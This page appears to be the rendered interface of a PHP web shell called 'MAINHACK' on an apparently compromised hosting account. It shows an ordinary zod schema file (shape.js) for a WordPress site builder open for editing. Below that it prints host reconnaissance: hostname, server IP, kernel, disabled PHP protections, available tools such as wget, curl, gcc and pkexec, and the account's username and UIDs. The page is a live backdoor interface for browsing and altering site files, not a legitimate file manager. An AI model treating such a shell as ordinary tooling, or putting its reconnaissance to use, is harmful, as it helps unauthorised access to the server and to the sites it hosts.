[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: shape.js
import { z } from 'zod'; // get-home const patternShape = z.looseObject({ name: z.string(), code: z.string(), patternTypes: z.array(z.string()), contentGenerated: z.boolean().optional(), navSlug: z.string().optional(), navLabel: z.string().optional(), }); export const homeTemplateShape = z.looseObject({ id: z.string(), slug: z.string(), headerCode: z.string().optional(), footerCode: z.string().optional(), patterns: z.array(patternShape), }); export const getHomeShape = z.looseObject({ home: homeTemplateShape, }); // get-images export const getImagesShape = z.looseObject({ siteImages: z.array(z.string()), }); // get-logo export const getLogoShape = z.looseObject({ logoUrl: z.url(), }); // get-pages export const pageTemplateShape = z.looseObject({ id: z.string(), slug: z.string(), name: z.string(), patterns: z.array(patternShape), siteStyle: z.object(), }); export const getPagesShape = z.looseObject({ pages: z.array(pageTemplateShape), }); // get-plugins export const pluginShape = z.looseObject({ name: z.string(), wordpressSlug: z.string(), }); export const getPluginsShape = z.object({ sitePlugins: z.array(pluginShape), }); // get-profile export const getProfileShape = z.looseObject({ type: z.string(), title: z.string(), description: z.string(), descriptionRaw: z.string().optional(), objective: z.string(), category: z.string().optional(), structure: z.string(), imageSearchTerms: z.array(z.string()), tone: z.array(z.string()), logoObjectName: z.string(), products: z.union([z.string(), z.literal(false)]), appointments: z.boolean(), events: z.boolean(), donations: z.boolean(), multilingual: z.boolean(), contact: z.boolean(), address: z.union([z.boolean(), z.string()]), blog: z.boolean(), landingPage: z.boolean(), landingPageCTALink: z.union([z.literal(false), z.string()]), phoneNumber: z.union([z.boolean(), z.string()]).optional(), }); // get-strings export const getStringsShape = z.looseObject({ aiHeaders: z.array(z.string()), aiBlogTitles: z.array(z.string()), }); // get-style export const styleShape = z.looseObject({ vibe: z.string(), fonts: z.looseObject(), variation: z.looseObject(), colorPalette: z.string(), animation: z.string(), }); export const getStyleShape = z.object({ siteStyle: styleShape.extend({ variation: z.looseObject().optional() }), }); // get-design-build const designBuildShape = z.looseObject({ siteProfile: getProfileShape, pages: z.array( z.object({ slug: z.string(), name: z.string(), description: z.string().optional(), }), ), patternId: z.string(), headerCode: z.string(), siteStyle: styleShape.omit({ variation: true }), selectedPlugins: z.array(pluginShape), html: z.string(), patternCode: z.string(), logoUrl: z.url().nullish(), }); export const getDesignBuildShape = designBuildShape;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830